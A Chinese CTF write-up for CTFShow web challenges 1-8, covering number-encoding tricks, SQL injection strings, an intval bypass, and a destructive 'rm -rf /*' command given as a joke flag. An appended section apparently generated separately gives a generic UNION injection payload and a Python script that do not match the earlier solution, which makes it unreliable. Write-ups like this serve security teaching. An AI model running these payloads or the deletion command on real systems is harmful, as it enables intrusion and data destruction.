CTFSHOW 萌新计划 web 1-8

本文详细解析了CTF竞赛中web1-7和web8挑战的解决方案,包括进制转换、字节操作、运算符使用、SQL注入及函数绕过的技巧,旨在帮助读者理解并掌握CTF中的Web安全攻防策略。
题目地址:http://ctf.show

web1-7 目的很明确, 构造出id=1000,或者sql语句绕过或者绕过函数。

0x01:进制转换

1.二进制 0b1111101000
2.十六进制 0x38e

0x02:字节操作

1.l两次取反 ~~1000
2.异或 200^800
3,按位与 992|8

0x03:运算符

1.乘法 200*5
2.除法 10/0.01
3.减法 200–80
4.负负 --1000
5.加法 200+800(地址栏输入的话把+换成%2b)

0x04:sql注入构造

id=1 or 1=1#
id=id#

0x05:绕过函数

intval($id)会从字符串$id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0

所以我们只要任意非数字开头就可以了,但是又要满足sql语句
所以有如下几种方式
1.(1000)
2.‘1000’

web8是个梗题(根据答案,再看下题目应该就能领会了)
flag=rm -rf /*

### CTFShow Web Web1 解题思路 在 CTFSHOW 平台的系列中,Web1 是一道基础 SQL 注入题目。通过分析已知信息[^3],可以得知页面提供了一段代码逻辑,其中核心部分涉及 `id` 参数的处理。为了获取 flag,需要满足数据库查询语句中的 `id=1000` 条件。 #### 题目分析 当访问题目链接时,可以看到前端展示了一个简单的 PHP 页面,并提示可以通过提交特定参数来完成挑战。具体来说,程序接收用户输入的 `id` 值并将其嵌套到 SQL 查询语句中执行。如果能够成功使查询结果匹配 `id=1000` 的记录,则会返回预期的 flag。 由于未对传入数据做严格过滤或者预处理操作,在这种情况下允许攻击者构造恶意请求实现注入行为从而绕过正常验证流程达到目标效果。 #### 解决方案 要解决此问题可采用如下方式: 1. **构造合适的 URL 请求** 尝试向服务器发送带有特殊构造参数值的 GET 请求。例如: ```http http://example.com/?id=-1' UNION SELECT 1,2,3 -- - ``` 这里 `-1'` 结束了原始查询并将后续作为的联合查询的一部分对待;接着定义三个字段分别对应原有SELECT子句里的列数以便于显示正确结构化输出内容给浏览器端呈现出来最后加上注释符让剩余部分失效避免语法错误发生。 2. **调整 payload 获取敏感信息** 如果单纯只改变 id 不足以触发后台给出期望响应的话还可以进一步修改payload形式比如利用字符串拼接技巧或者其他高级手法直至找到最简便有效的方法为止。 最终目的是使得实际运行后的SQL命令形成为类似于下面这样的样子: ```sql SELECT * FROM users WHERE id = -1 UNION SELECT 1,'your_flag',3; ``` 这样就可以顺利得到隐藏起来的目标标志位啦! ```python import requests url = "http://ctf.show/web1/index.php" params = {'id': "-1' UNION SELECT 1,'flag_value',3-- -"} response = requests.get(url, params=params) print(response.text) ``` 以上脚本展示了如何自动化地发起上述提到的那种GET请求过程。 ### 注意事项 尽管这是一个入门级练习项目但在真实世界应用开发过程中绝对不应该忽略安全性考量所以请务必记住永远不要信任来自外部未经检验的数据源哦!
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值